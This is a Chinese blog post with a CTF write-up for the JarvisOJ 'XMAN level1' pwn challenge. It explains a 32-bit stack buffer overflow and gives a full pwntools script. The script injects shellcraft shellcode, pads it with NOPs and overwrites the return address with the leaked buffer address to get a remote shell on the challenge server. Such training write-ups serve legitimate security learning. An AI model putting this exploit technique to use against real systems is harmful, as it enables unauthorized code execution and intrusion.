美文网首页
JarvisOj [XMAN]level-1

JarvisOj [XMAN]level-1

作者: chenmuxin | 来源:发表于2018-12-05 12:25 被阅读0次

思路WP

  • 同样的使用ida打开,由main函数开始,调用了vulner_function,也同样建立了buf字符串buf到ret的偏移为(0x4-(-0x88),一共为0x92。
main2.png vuler.png buff.png buff-r.png
  • 但同样的,read函数向buf中输入的数据最大可为0x100。同样属于栈溢出,但该题并没有为我们提供callsteam函数,因此需要我们自行写,但因为pwntool的强大,我们可以使用pwn中的asm(shellcraft.sh())函数来直接获取执行。
  • system(“/bin/sh”)汇编代码所对应的机器码,但此时我们还需要得到buf的地址,经过调试可以知道当与服务器进行链接后,在服务器返回"What's this:%p?\n"后会有加上一个地址,由代码逻辑可知,这个地址就是buf的地址,由图片知其位置在[14:-2].
level1返回地址.png
  • 因此我们将之截取,并保存在buf_addr中。因此我们把shellcode的代码从buf的起始地址开始填充,然后buf中剩下的地址有a填充,因为我们最后需要调用shellcode代码,因此再加上buf_addr(记得将之字符化)

代码

#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *
context(log_level = 'debug', arch = 'i386', os = 'linux')

![level1.png](https://img.haomeiwen.com/i8384623/ce3277246964f144.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
shellcode = asm(shellcraft.sh())
#io = process('./level1')
io = remote('pwn2.jarvisoj.com', 9877)
text = io.recvline()[14: -2]
#print text[14:-2]
buf_addr = int(text, 16)

payload = shellcode + '\x90' * (0x88 + 0x4 - len(shellcode)) + p32(buf_addr)
io.send(payload)
io.interactive()
io.close()

解释

recvline(keepends=True) : 接收一行,keepends为是否保留行尾的\n
int()表示将得到的地址转换为16进制数

结果

level1.png

相关文章

  • JarvisOj [XMAN]level-1

    思路WP 同样的使用ida打开,由main函数开始,调用了vulner_function,也同样建立了buf字符串...

  • JarvisOj [XMAN]level-2

    思路WP 提示:网上有不少当作32位写的WP,都出现了问题,无法成功cat flag,只有运用ROP的才能成功。 ...

  • JarvisOj XMAN level-0

    >纯新手向,第一次做pwn的题,感觉非常难以下手,有很多的新知识,在接触的过程中一点点的去学习。学习《汇编语言》(...

  • cuBLAS Level-1 Function

    cuBLAS Level-1 Function Level-1 BLAS函数进行的是标量,向量的基本操作。仅为学习...

  • vcs 加密

    +protect +Xman

  • jarvisoj fm

    流程套路还是固定的,file看一下是32位的文件checksec看一下开了什么保护,好像没什么奇怪的东西运行一下看...

  • [JarvisOj]Web

    LOCALHOST 题目入口:http://web.jarvisoj.com:32774/ X-Forwarded...

  • [JarvisOj]Basic

    手贱 某天A君的网站被日,管理员密码被改,死活登不上,去数据库一看,啥,这密码md5不是和原来一样吗?为啥登不上咧...

  • jarvisOJ wp

    [xman] level0 file : 64位 程序 静态链接加载函数 checksec : NX 开启(堆栈不...

  • 51端口访问

    题目链接:http://web.jarvisoj.com:32770/ Please use port 51 to...

网友评论

      本文标题:JarvisOj [XMAN]level-1

      本文链接:https://www.haomeiwen.com/subject/vxblxqtx.html